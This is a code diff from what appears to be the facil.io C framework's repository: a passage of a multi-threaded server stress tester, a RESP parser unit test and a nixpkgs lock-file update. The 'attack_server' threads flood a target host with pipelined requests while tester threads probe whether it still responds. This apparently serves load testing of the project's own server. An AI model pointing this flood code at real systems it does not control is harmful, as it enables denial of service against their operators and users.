+      (ssize_t)(MSG_LEN / REQ_PER_MSG)) {
+    /* a new connection and the buffer is full? no... */
+    close(fd);
+    // fprintf(stderr, "* TEST: couldn't send rerquest to %s:%s\n", address,
+    // port);
+    return REQUEST_FAILED;
+  }
+
+  blocks = 0;
+  while (wait4read(fd) < 0) {
+    if (errno != EWOULDBLOCK || ++blocks >= timeout || !flag) {
+      /* timeout / error */
+      close(fd);
+      if (!flag)
+        return SERVER_OK;
+      return RESPONSE_TIMEOUT;
+    }
+  }
+
+  char buffer[4096];
+  if (read(fd, buffer, 1024) < 12) {
+    close(fd);
+    return RESPONSE_TIMEOUT;
+  }
+  close(fd);
+  // fprintf(stderr, "* TEST: received response from %s:%s\n", address, port);
+  time_t end = 0;
+  time(&end);
+  if (max_wait < (size_t)(end - start)) {
+    /* non-atomic... but who cares. */
+    max_wait = end - start;
+  }
+  return SERVER_OK;
+}
+
+/* *****************************************************************************
+Attack
+***************************************************************************** */
+
+static void attack_server(void) {
+  int fd = connect2tcp(address, port);
+  size_t offset = 0;
+  uint8_t read_once = 0;
+  while (flag) {
+    if (wait4write(fd) == 0) {
+      ssize_t w = write(fd, MSG_OUTPUT + offset, MSG_LEN - offset);
+      if (w < 0) {
+        /* error... waiting? */
+        if (errno != EWOULDBLOCK && errno != EAGAIN && errno != EINTR) {
+          break;
+        }
+      } else {
+        offset += w;
+        if (offset >= MSG_LEN) {
+          offset = 0;
+          atomic_add(&total_requests, REQ_PER_MSG);
+        }
+      }
+
+    } else if (errno != EWOULDBLOCK && errno != EAGAIN) {
+      break;
+    }
+    if (wait4read(fd) == 0) {
+      size_t buf;
+      ssize_t r = read(fd, &buf, sizeof(buf));
+      if (r < 0)
+        break; /* read a few bytes at a time */
+      if (!r) {
+        atomic_add(&total_eof, 1);
+      } else {
+        atomic_add(&total_reads, r);
+        read_once = 1;
+      }
+    } else if (errno == EWOULDBLOCK || errno == EAGAIN) {
+      if (read_once) {
+        atomic_add(&total_eof, 1);
+        break;
+      }
+    } else {
+      if (read_once)
+        break;
+    }
+  }
+  if (flag)
+    atomic_add(&total_disconnections, 1);
+  close(fd);
+  return;
+}
+
+/* *****************************************************************************
+Multi-Threaded Testing / Attacking
+***************************************************************************** */
+
+/* a single attacker thread */
+static void *attack_server_task(void *ignr_) {
+  while (flag)
+    attack_server();
+  return NULL;
+  (void)ignr_;
+}
+
+/* a single tester thread */
+static void *test_server_task(void *ignr_) {
+  while (flag) {
+    const struct timespec tm = {.tv_sec = 1};
+    nanosleep(&tm, NULL);
+    if (!flag)
+      break;
+    atomic_add(&total_attempts, 1);
+    switch (test_server(15)) {
+    case SERVER_OK:
+      if (flag)
+        fprintf(stderr, "* Server online.\n");
+      atomic_add(&total_success, 1);
+      break;
+    case OPENFILE_LIMIT:
+      fprintf(stderr, "* No available sockets.\n");
+      atomic_add(&total_success, 1);
+      break;
+    case CONNECTION_FAILED: /* overflow*/
+    case REQUEST_FAILED:    /* overflow*/
+    case RESPONSE_TIMEOUT:
+      atomic_add(&total_failures, 1);
+      fprintf(stderr, "* Failure detected.\n");
+      break;
+    }
+  }
+  return NULL;
+  (void)ignr_;
+}

facil.io/tests/tests.c

@@ -0,0 +1,87 @@
+
+#include "tests/mustache.c.h"
+
+#include <fio.h>
+#include <fiobj.h>
+#include <http.h>
+
+#include "resp_parser.h"
+
+void resp_test(void);
+
+int main(void) {
+  fio_test();
+  mustache_test();
+  fiobj_test();
+  http_tests();
+  resp_test();
+}
+
+void resp_test(void) {
+  const char OK[] = "+OK\r\n";
+  const char array_x3_i[] = "*3\r\n$3\r\nfoo\r\n$-1\r\n$3\r\nbar\r\n:-42\r\n";
+  resp_parser_s parser;
+  memset(&parser, 0, sizeof(parser));
+  FIO_ASSERT(!resp_parse(&parser, OK, sizeof(OK) - 1),
+             "RESP parser didn't parse the whole of the OK response data.");
+  FIO_ASSERT(!resp_parse(&parser, array_x3_i, sizeof(array_x3_i) - 1),
+             "RESP parser didn't parse the whole of the Array response data "
+             "(or parsed more).");
+}
+
+static int resp_on_number(resp_parser_s *parser, int64_t num) {
+  fprintf(stderr, "%ld\n", (long)num);
+  (void)parser;
+  return 0;
+}
+
+static int resp_on_okay(resp_parser_s *parser) {
+  fprintf(stderr, "OK\n");
+  (void)parser;
+  return 0;
+}
+static int resp_on_null(resp_parser_s *parser) {
+  fprintf(stderr, "NULL\n");
+  (void)parser;
+  return 0;
+}
+
+static int resp_on_start_string(resp_parser_s *parser, size_t str_len) {
+  fprintf(stderr, "starting string %ld long\n", (long)str_len);
+  (void)parser;
+  return 0;
+}
+static int resp_on_string_chunk(resp_parser_s *parser, void *data, size_t len) {
+  fprintf(stderr, "%.*s", (int)len, (char *)data);
+  (void)parser;
+  return 0;
+}
+static int resp_on_end_string(resp_parser_s *parser) {
+  fprintf(stderr, "\n");
+  (void)parser;
+  return 0;
+}
+
+static int resp_on_err_msg(resp_parser_s *parser, void *data, size_t len) {
+  fprintf(stderr, "Error message: %.*s\n", (int)len, (char *)data);
+  (void)parser;
+  return 0;
+}
+
+static int resp_on_start_array(resp_parser_s *parser, size_t array_len) {
+  fprintf(stderr, "starting array with %ld items\n", (long)array_len);
+  (void)parser;
+  return 0;
+}
+
+static int resp_on_message(resp_parser_s *parser) {
+  fprintf(stderr, "--- complete message ---\n");
+  (void)parser;
+  return 0;
+}
+
+static int resp_on_parser_error(resp_parser_s *parser) {
+  fprintf(stderr, "--- PARSER ERROR ---\n");
+  (void)parser;
+  return 0;
+}

flake.lock

@@ -108,16 +108,16 @@
     },
     "nixpkgs": {
       "locked": {
-        "lastModified": 1702900294,
-        "narHash": "sha256-pt7sSoJYNw3n8YtXw0Z/Nnr6/PfY2YrjDvqboErXnRM=",
+        "lastModified": 1702882221,
+        "narHash": "sha256-L/uOrBqkGsa45EvQk4DLq/aR6JeomW+7Mwe0mC/dVUM=",
         "owner": "nixos",
         "repo": "nixpkgs",
-        "rev": "886c9aee6ca9324e127f9c2c4e6f68c2641c8256",
+        "rev": "25fef6e30d8ad48f47a8411ccfe986d8baed8a15",
         "type": "github"
       },
       "original": {
         "owner": "nixos",
-        "ref": "nixpkgs-unstable",
+        "ref": "release-23.05",
         "repo": "nixpkgs",
         "type": "github"
       }